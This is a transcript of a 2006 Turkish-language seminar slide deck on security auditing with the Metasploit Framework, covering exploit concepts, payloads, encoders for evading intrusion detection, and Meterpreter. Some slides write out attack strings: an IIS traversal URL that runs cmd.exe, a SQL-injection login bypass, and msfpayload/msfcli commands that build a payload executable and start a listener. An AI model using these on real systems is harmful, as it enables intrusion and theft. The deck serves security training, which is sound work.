Metasploit Framework ile Guvenlik...

28
Metasploit Framework ile Güvenlik Denetimi Fatih Özavcı Bilgi Güvenliği Danışmanı [email protected]

Transcript of Metasploit Framework ile Guvenlik...

Page 1: Metasploit Framework ile Guvenlik Denetimiseminer.linux.org.tr/wp-content/uploads/Metasploit-Framework.pdf¾Hazır kodlar ve fonksiyonlar ile Exploit geliştirme, kullanma ve kullanım

Metasploit Framework ile Güvenlik Denetimi

Fatih ÖzavcıBilgi Güvenliği Danışmanı[email protected]

Page 2: Metasploit Framework ile Guvenlik Denetimiseminer.linux.org.tr/wp-content/uploads/Metasploit-Framework.pdf¾Hazır kodlar ve fonksiyonlar ile Exploit geliştirme, kullanma ve kullanım

2@ 2006 Fatih Özavcı, Her Hakkı Saklıdır

Sunum İçeriği

Exploit Kavramı

Exploit Geliştirme Süreci

Bütünleşik Geliştirme Ortamları

Metasploit Framework

Canlı Uygulama ve Pratikler

Page 3: Metasploit Framework ile Guvenlik Denetimiseminer.linux.org.tr/wp-content/uploads/Metasploit-Framework.pdf¾Hazır kodlar ve fonksiyonlar ile Exploit geliştirme, kullanma ve kullanım

3@ 2006 Fatih Özavcı, Her Hakkı Saklıdır

Exploit

Bir güvenlik açığını kullanarak normal-dışı bir işlem yapılmasını sağlayan yöntem veya yazılım

http://sunucu/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir

http://sunucu/login.asp?uid=‘ OR 1=1

Page 4: Metasploit Framework ile Guvenlik Denetimiseminer.linux.org.tr/wp-content/uploads/Metasploit-Framework.pdf¾Hazır kodlar ve fonksiyonlar ile Exploit geliştirme, kullanma ve kullanım

4@ 2006 Fatih Özavcı, Her Hakkı Saklıdır

Diğer Kavramlar

PayloadExploit sonrası çalıştırılacak ve normal-dışı işlemi yapacak içerik

ShellcodeExploit sonrası çalıştırılacak platforma özel binary’ler

NOP“Not Operation”, işlevsiz veya bellek yeri öğrenme amaçlıbellek dolduran bitler

EncoderÇalıştırılacak Shellcode’u değiştiren ve IDS’ler tarafından yakalanmasını önleyen yazılımlar

Page 5: Metasploit Framework ile Guvenlik Denetimiseminer.linux.org.tr/wp-content/uploads/Metasploit-Framework.pdf¾Hazır kodlar ve fonksiyonlar ile Exploit geliştirme, kullanma ve kullanım

5@ 2006 Fatih Özavcı, Her Hakkı Saklıdır

Exploit Yapısı

Exploit

İşlevsiz veya İşlevliİşlemler

DecoderShellcode/Payload

Page 6: Metasploit Framework ile Guvenlik Denetimiseminer.linux.org.tr/wp-content/uploads/Metasploit-Framework.pdf¾Hazır kodlar ve fonksiyonlar ile Exploit geliştirme, kullanma ve kullanım

6@ 2006 Fatih Özavcı, Her Hakkı Saklıdır

Exploit Yaşam ÇevrimiGüvenlikAçığının

Bulunması

GüvenlikAçığının

Duyurulması

Teknik Analiz ve Çözümleme

Exploit’in Hazırlanması

GenelExploit’in

Yayınlanması

Exploit’in Özelleştirilebilir

Hale Gelmesi

0 GünExploit’inin Hazırlanması

Page 7: Metasploit Framework ile Guvenlik Denetimiseminer.linux.org.tr/wp-content/uploads/Metasploit-Framework.pdf¾Hazır kodlar ve fonksiyonlar ile Exploit geliştirme, kullanma ve kullanım

7@ 2006 Fatih Özavcı, Her Hakkı Saklıdır

Genel Exploit’lerin Özellikleri

Çok farklı programlama dillerinde sunulabilirler (binary,c,c++,perl,lisp,python)Açığın tek veya özel bir kullanımı üzerine geliştirilmiş olabilirler (..%c0%af.. veya ..%c0%qf..)Payload/Shellcode değeri özelleştirilemeyebilir (binary, açık hakkında kısıtlı bilgi)Kod kirli veya kötü niyetli yazılmış olabilirHerkesçe kullanıldığı için önlem alınmış olabilir

Page 8: Metasploit Framework ile Guvenlik Denetimiseminer.linux.org.tr/wp-content/uploads/Metasploit-Framework.pdf¾Hazır kodlar ve fonksiyonlar ile Exploit geliştirme, kullanma ve kullanım

8@ 2006 Fatih Özavcı, Her Hakkı Saklıdır

Kim Kendi Exploit’ine İhtiyaç Duyar

Tetkikçiler

Danışmanlar

Yazılım veya Donanım Testi Yapanlar

Sistem Yöneticileri

Güvenlik Açığı Geliştiricileri

Page 9: Metasploit Framework ile Guvenlik Denetimiseminer.linux.org.tr/wp-content/uploads/Metasploit-Framework.pdf¾Hazır kodlar ve fonksiyonlar ile Exploit geliştirme, kullanma ve kullanım

9@ 2006 Fatih Özavcı, Her Hakkı Saklıdır

Exploit Geliştirme SüreciGüvenlik Açığının

Duyurulması

Açık AtlamaNoktalarınınBelirlenmesi

Teknik Analiz ve Çözümleme

Exploit’in Hazırlanması

Farklı Platformve Programlara

Uyarlanması

Exploit’in Özelleştirilebilir

Hale Gelmesi

ÇözümlemeYapılarak

Normal-Dışı İşlemYapılması

Farklı PayloadKullanımına HazırHale Getirilmesi

Page 10: Metasploit Framework ile Guvenlik Denetimiseminer.linux.org.tr/wp-content/uploads/Metasploit-Framework.pdf¾Hazır kodlar ve fonksiyonlar ile Exploit geliştirme, kullanma ve kullanım

10@ 2006 Fatih Özavcı, Her Hakkı Saklıdır

Hangi Araçlar Kullanılır

Açık Bulunan Yazılımın Örneği !?Fuzzer (Karıştırıcı ve Değiştiriciler)Encoder (Kodlayıcılar)HEX EditörlerBinary Analiz AraçlarıDebugger (Hata Ayıklayıcılar)Sniffer (Paket Yakalayıcılar)Protokol ÇözümleyicilerYorumlayıcılar / Derleyiciler (Interpreter/Compiler)Shellcode’larSQL Sorguları

Page 11: Metasploit Framework ile Guvenlik Denetimiseminer.linux.org.tr/wp-content/uploads/Metasploit-Framework.pdf¾Hazır kodlar ve fonksiyonlar ile Exploit geliştirme, kullanma ve kullanım

11@ 2006 Fatih Özavcı, Her Hakkı Saklıdır

Bütünleşik Geliştirme Ortamları

Exploit ve Payload ayrımıHazır ve kodu açık Exploit’lerBinary analizi için yardımcı araçlarHazır Payload veya Agent’larGrafik arabirim ile “tıkla ve gir” kolaylığıHazır fonksiyonlar ile daha az Exploit koduKategorizasyon ve analiz arabirimleriHazır Recon’lar ile bilgi toplamaYerel, yetki yükseltimi amaçlı Exploit’ler0 gün Exploit’leri

Page 12: Metasploit Framework ile Guvenlik Denetimiseminer.linux.org.tr/wp-content/uploads/Metasploit-Framework.pdf¾Hazır kodlar ve fonksiyonlar ile Exploit geliştirme, kullanma ve kullanım

12@ 2006 Fatih Özavcı, Her Hakkı Saklıdır

Neden Exploit Geliştirme Ortamı ?

Güvenlik açığı tarama yazılımlarının imza kalitesindeki yetersizliklerGüvenlik açığının kullanılabilir olduğunun tespiti Risk boyutunun tam olarak bilinmesi ihtiyacıGüvenlik önlemlerinin (firewall/ids etc.) aşılmasıihtiyacıGüvenlik açıklarının kullanımına farklı bakış açılarıgetirme ihtiyacıHazır kodlar ve fonksiyonlar ile Exploit geliştirme, kullanma ve kullanım sonrası işlemleri kolayca uygulayabilme

Page 13: Metasploit Framework ile Guvenlik Denetimiseminer.linux.org.tr/wp-content/uploads/Metasploit-Framework.pdf¾Hazır kodlar ve fonksiyonlar ile Exploit geliştirme, kullanma ve kullanım

13@ 2006 Fatih Özavcı, Her Hakkı Saklıdır

Geliştirme OrtamıAlternatifleri

Core Technologies – Core Impact

Immunity Security – Immunity Canvas

Metasploit Project - Metasploit Framework

Security Forest - Exploitation Framework

Page 14: Metasploit Framework ile Guvenlik Denetimiseminer.linux.org.tr/wp-content/uploads/Metasploit-Framework.pdf¾Hazır kodlar ve fonksiyonlar ile Exploit geliştirme, kullanma ve kullanım

14@ 2006 Fatih Özavcı, Her Hakkı Saklıdır

Metasploit Framework

2.x (GPL/Artistic) ve 3.x (Non-commercial) olarak iki ayrı sürümübulunmakta 138+ istemci/sunucu exploit ve 75+ payload bulunuyorÇok farklı türde payload’lar kullanılabiliyor

Agent (Meterpreter)VNC DLL InjectionShellcode Üretimi (Shell Bind, Reverse, FindTag)Binary Upload

Çok sayıda farklı encoder kullanılabiliyorAlpha2, Pex, Shikata Ga Nai, Sparc, OSXPPCLongXOR

Konsol, web ve seri arabirimleri bulunuyor, 3.x grafik arabirime de sahip olacakAçık kaynaklı her şeye entegre edilebiliyor (InlineEgg)En güçlü özelliği Post-Exploitation yetenekleri (Meterpreter, VNC DLL Injection, Anti-Forensic, Process Migration vb.)

Page 15: Metasploit Framework ile Guvenlik Denetimiseminer.linux.org.tr/wp-content/uploads/Metasploit-Framework.pdf¾Hazır kodlar ve fonksiyonlar ile Exploit geliştirme, kullanma ve kullanım

15@ 2006 Fatih Özavcı, Her Hakkı Saklıdır

Ekran Görüntüleri

Page 16: Metasploit Framework ile Guvenlik Denetimiseminer.linux.org.tr/wp-content/uploads/Metasploit-Framework.pdf¾Hazır kodlar ve fonksiyonlar ile Exploit geliştirme, kullanma ve kullanım

16@ 2006 Fatih Özavcı, Her Hakkı Saklıdır

Ekran Görüntüleri

Page 17: Metasploit Framework ile Guvenlik Denetimiseminer.linux.org.tr/wp-content/uploads/Metasploit-Framework.pdf¾Hazır kodlar ve fonksiyonlar ile Exploit geliştirme, kullanma ve kullanım

17@ 2006 Fatih Özavcı, Her Hakkı Saklıdır

Genel Özellikler

ArabirimKonsol Arayüzü (msfconsole)Web Arayüzü (msfweb)Komut Satırı Arayüzü (msfcli)

Yardımcı AraçlarDönüş Adresi Tarayıcı (msfpescan,msfelfscan)Payload Üretici (msfpayload)Payload Encoder (msfencode)Oturum Logları (msflogdump)

Ana ModüllerExploit’lerPayload’larEncoder’larNOP Üreticiler

Page 18: Metasploit Framework ile Guvenlik Denetimiseminer.linux.org.tr/wp-content/uploads/Metasploit-Framework.pdf¾Hazır kodlar ve fonksiyonlar ile Exploit geliştirme, kullanma ve kullanım

18@ 2006 Fatih Özavcı, Her Hakkı Saklıdır

Exploit

Çok sayıda, kaynak kodu açık, eski ve yeni exploitİstemci ve sunucu exploitleri biraradaFarklı işletim sistemleri için yazılmış exploit’ler

Windows, MacOSX, Linux,Irix, AIX, Solaris etc.

Farklı platformlar için yazılmış exploit’lerPPC, IA32, SPARC, MIPS, etc.

Hazır fonksiyonlar ile yazılacak kod miktarı oldukça azSSL desteğiHazır ağ protokolleri (SMB/DCERPC etc.)Encoding desteğiKolay payload ve hedef entegrasyonu

Kod yerine güvenlik açığına odaklanmak hedeflenmiş

Page 19: Metasploit Framework ile Guvenlik Denetimiseminer.linux.org.tr/wp-content/uploads/Metasploit-Framework.pdf¾Hazır kodlar ve fonksiyonlar ile Exploit geliştirme, kullanma ve kullanım

19@ 2006 Fatih Özavcı, Her Hakkı Saklıdır

Payload

Birçok platform için hazır ShellcodeWindows,Linux,Aix,Solaris,Hp/UX,OS X,BSD,BSDI etc.Hazır Shellcode (Shell Bind, Reverse, FindTag)Perl Kodu

Üst düzey payload’larPassiveXInlineEgg (Core Tech.)MeterpreterVNC InjectionBelleğe program yükleme ve çalıştırma

Kademeli/Modüler payload yüklemeHedef üstünden yeni saldırı kapasitesiTek başına payload kullanımı

msfpayload PAYLOAD_ADI LHOST=x.x.x.x LPORT=3333 X > test.exemsfcli payload_handler PAYLOAD=PAYLOAD_ADI LHOST=x.x.x.xLPORT=3333 E

Page 20: Metasploit Framework ile Guvenlik Denetimiseminer.linux.org.tr/wp-content/uploads/Metasploit-Framework.pdf¾Hazır kodlar ve fonksiyonlar ile Exploit geliştirme, kullanma ve kullanım

20@ 2006 Fatih Özavcı, Her Hakkı Saklıdır

Encoder

Hazır encoder’lar ile payload kolayca değiştirilebilmekte

HIDS/NIDS/IPS Atlatma

Farklı platformlar için encoder’larPPC, x86, Sparc etc.

Farklı türlerde 13 encoder

Page 21: Metasploit Framework ile Guvenlik Denetimiseminer.linux.org.tr/wp-content/uploads/Metasploit-Framework.pdf¾Hazır kodlar ve fonksiyonlar ile Exploit geliştirme, kullanma ve kullanım

21@ 2006 Fatih Özavcı, Her Hakkı Saklıdır

Meterpreter

Meta-InterpreterModül destekli exploit sonrası aracı

Dosya sistemi, Süreç yönetimi, Ağ vb.DLL olarak yeni modüller eklenebilirKodu açık ve kolayca geliştirilebilirDinamik modül yükleme

Dahili KriptolamaKanal ve VNC Injection desteği3.x ile birlikte kapasitesi artıyor

Süreç birleştirmeIRB desteğiTimestomp,SAM HashDump

Yeni bir alt süreç olarak doğrudan bellekte çalışıyor

Page 22: Metasploit Framework ile Guvenlik Denetimiseminer.linux.org.tr/wp-content/uploads/Metasploit-Framework.pdf¾Hazır kodlar ve fonksiyonlar ile Exploit geliştirme, kullanma ve kullanım

22@ 2006 Fatih Özavcı, Her Hakkı Saklıdır

PassiveX

Hedefin registry kayıtları değiştirilir ve Internet Explorer başlatılırİstenen DLL ActiveX objesi olarak yüklenirTüm iletişim HTTP ile yapılır

IE Proxy ayarları ve kimlik özellikleriDMZ ağlarında kullanışlı

VNC ve Meterpreter Injection için kullanılabilir

Page 23: Metasploit Framework ile Guvenlik Denetimiseminer.linux.org.tr/wp-content/uploads/Metasploit-Framework.pdf¾Hazır kodlar ve fonksiyonlar ile Exploit geliştirme, kullanma ve kullanım

23@ 2006 Fatih Özavcı, Her Hakkı Saklıdır

VNC Injection

RealVNC kodunda değişiklikler yapılmış, gereksiz bölümler çıkartılmışDış dosya, kütüphane, servis kurulumu veya registry anahtarı gerekmiyorYeni bir alt süreç olarak doğrudan bellekteçalışıyorKilitli ekranlarda yeni kabuk (command prompt) açılıyor

Page 24: Metasploit Framework ile Guvenlik Denetimiseminer.linux.org.tr/wp-content/uploads/Metasploit-Framework.pdf¾Hazır kodlar ve fonksiyonlar ile Exploit geliştirme, kullanma ve kullanım

24@ 2006 Fatih Özavcı, Her Hakkı Saklıdır

Metasploit 3.x

Ruby ile yazılıyorGüncel Sürüm : 3.0 Alpha r3Kod büyük ölçüde tamamlanmış

AUX, Grafik arabirim vb. eksikler bulunuyorPayload ve Encoder artışı varMeterpreter kapasitesi arttırılmışOtomatize edilebilir“Pivoting” Hedef üstünden saldırı daha kolayÇok sayıda fonksiyon dökümante edilmiş

Page 25: Metasploit Framework ile Guvenlik Denetimiseminer.linux.org.tr/wp-content/uploads/Metasploit-Framework.pdf¾Hazır kodlar ve fonksiyonlar ile Exploit geliştirme, kullanma ve kullanım

25@ 2006 Fatih Özavcı, Her Hakkı Saklıdır

Karşılaştırma TablosuÖzellikler Core Impact Immunity Canvas Metasploit Framework

İşletim Sistemi Windows Windows / Unix Windows / Unix

Grafik Kullanıcı Arabirimi Var Var 2.x Yok / 3.x Var

Script Dili Python Python 2.x Perl / 3.x Ruby

Ağ Haritalama Var Var 2.x Yok / 3.x Planlanıyor

İstemci Exploit’leri Var Var Var

Yerel Exploit’ler Var Var Yok

Web Exploit’leri Yok Yok Yok

Encoder Kullanımı Yok Yok Var

Agent Üstünden Saldırı Var Yok Meterpreter / SocketNinja

Payload Kullanımı Agent / InlineEgg Agent Meterpreter/Shellcode/VNC

Exploit Sonrası Bağlantı Bind/Reverse/Re-use Bild/Reverse/Re-use Bild/Reverse/FindSock

Otomatize Exploit İşlemi Var Var Yok

Raporlama Var Yok Yok

Diğer Araçlarla Entg. Var Var 2.x Yok / 3.x Planlanıyor

Harici Geliştirme Araçları Yok Yok Var

Anti-Forensic Özellikleri Yok Yok Var

Fiyat ~25.000 USD 10 Kul. ~2.000 USD Ücretsiz

Page 26: Metasploit Framework ile Guvenlik Denetimiseminer.linux.org.tr/wp-content/uploads/Metasploit-Framework.pdf¾Hazır kodlar ve fonksiyonlar ile Exploit geliştirme, kullanma ve kullanım

26@ 2006 Fatih Özavcı, Her Hakkı Saklıdır

Metasploit iş üstünde....

Page 27: Metasploit Framework ile Guvenlik Denetimiseminer.linux.org.tr/wp-content/uploads/Metasploit-Framework.pdf¾Hazır kodlar ve fonksiyonlar ile Exploit geliştirme, kullanma ve kullanım

27@ 2006 Fatih Özavcı, Her Hakkı Saklıdır

Bağlantılar ve Referanslar

Metasploit Project

www.metasploit.org

Metasploit Anti-Forensics

www.metasploit.org/projects/antiforensics

Metasploit Documentation

www.metasploit.org/projects/Framework/documentation.html

Metasploit Live Demo

metasploit.com:55555/

Page 28: Metasploit Framework ile Guvenlik Denetimiseminer.linux.org.tr/wp-content/uploads/Metasploit-Framework.pdf¾Hazır kodlar ve fonksiyonlar ile Exploit geliştirme, kullanma ve kullanım

28@ 2006 Fatih Özavcı, Her Hakkı Saklıdır

Teşekkürler....